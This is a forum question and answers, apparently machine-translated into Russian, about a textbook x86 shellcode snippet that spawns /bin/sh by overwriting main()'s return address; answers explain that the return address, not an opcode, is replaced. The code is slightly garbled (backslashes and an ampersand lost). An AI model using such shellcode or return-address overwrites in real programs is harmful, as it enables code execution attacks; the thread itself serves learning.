#assembly #x86 #stack-overflow #shellcode
#сборка #x86 #переполнение стека #шеллкод
Вопрос:
char shellcode[] = "xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00" "x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80" "xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff" "xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";
void main() {
int *ret;
ret = (int *)amp;ret 2;
(*ret) = (int)shellcode;
}
насколько мне известно, shellcode[]
это шестнадцатеричный код операции для создания оболочки, а последняя строка кода перезаписывает ret кодом операции. Вставляем ли мы код операции или адрес памяти в RET ?
Комментарии:
1. Совсем не ясно, что вы пытаетесь здесь спросить.
2. отредактировано…………………….
3. допущена ошибка, предполагается, что это eip вместо esi
Ответ №1:
Он не перезаписывает код операции возврата, он перезаписывает адрес возврата в стеке (предполагая, что он находится рядом с переменной, объявленной в стеке), так что при main()
возврате он возвращается не к _start n
, а к shellcode
.
Ответ №2:
Регистр ret в стеке — это место, в которое возвращается код, и помещение туда кода операции не сильно помогло бы. Я подозреваю, что адрес кода, который вы хотите запустить, является наиболее вероятным кандидатом. Ура! Вероятно, в целом лучше рассмотреть, для чего используются элементы, с которыми вы взаимодействуете, и как они используются, а не пытаться слепо загружать в них данные.
Ответ №3:
В нынешнем виде это вставка адреса в строку. Я полагаю, в этом случае будет пустой тратой времени указывать на то, что это совершенно непереносимо и почти наверняка действительно плохая идея…